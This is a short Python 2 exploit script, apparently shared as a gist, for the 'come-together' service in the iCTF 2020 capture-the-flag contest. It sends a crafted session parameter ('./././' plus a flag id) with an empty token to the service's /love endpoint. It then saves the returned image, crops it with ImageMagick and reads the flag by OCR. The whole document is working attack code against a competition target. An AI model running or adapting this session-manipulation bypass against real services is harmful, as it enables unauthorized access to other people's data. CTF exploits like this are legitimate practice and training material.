Created
March 7, 2020 03:06
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Exploit for come-together (iCTF 2020)
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#! /usr/bin/env python2 | |
import sys | |
import json | |
import requests | |
import traceback | |
from subprocess import Popen, PIPE | |
from PIL import Image | |
import pytesseract | |
SIZES = [(250, 250), (230, 230), (60, 60), (200, 200)] | |
POSITIONS = ['+335+360', '+780+30', '+100+65', '+540+25'] | |
def exploit(ip, port, flag_id): | |
session = './././{}'.format(flag_id) | |
token='' | |
url = 'http://{}:{}/love?session={}&token={}'.format(ip, port, session, token) | |
r = requests.get(url) | |
if r.status_code != 200: | |
raise Exception('n00000000b') | |
with open('retrieved_ex_1.png', 'wb') as f: | |
f.write(r.content) | |
flag = '' | |
for i in [0, 1, 3]: | |
p = Popen(['convert', | |
'retrieved_ex_1.png', | |
'-crop', | |
'{}x{}{}'.format(SIZES[i][0], SIZES[i][1], POSITIONS[i]), | |
'cropped_ex_1.png']) | |
p.communicate() | |
x = pytesseract.image_to_string(Image.open('cropped_ex_1.png')) | |
if x.startswith('FL'): | |
flag = x.replace('\n', '') | |
break | |
return { | |
'error': 0, | |
'error_msg': '', | |
'payload': {'flag': flag} | |
} | |
def main(): | |
try: | |
if len(sys.argv) != 4: | |
print('Use: python2 exploit_1.py <HOST> <PORT> <FLAG_ID>') | |
raise Exception('Missing parameters') | |
print json.dumps(exploit(sys.argv[1], sys.argv[2], sys.argv[3])) | |
except Exception as e: | |
response = { | |
"error": 1, | |
"error_msg": str(e) + traceback.format_exc(), | |
"payload": {} | |
} | |
print json.dumps(response) | |
if __name__ == "__main__": | |
main() |
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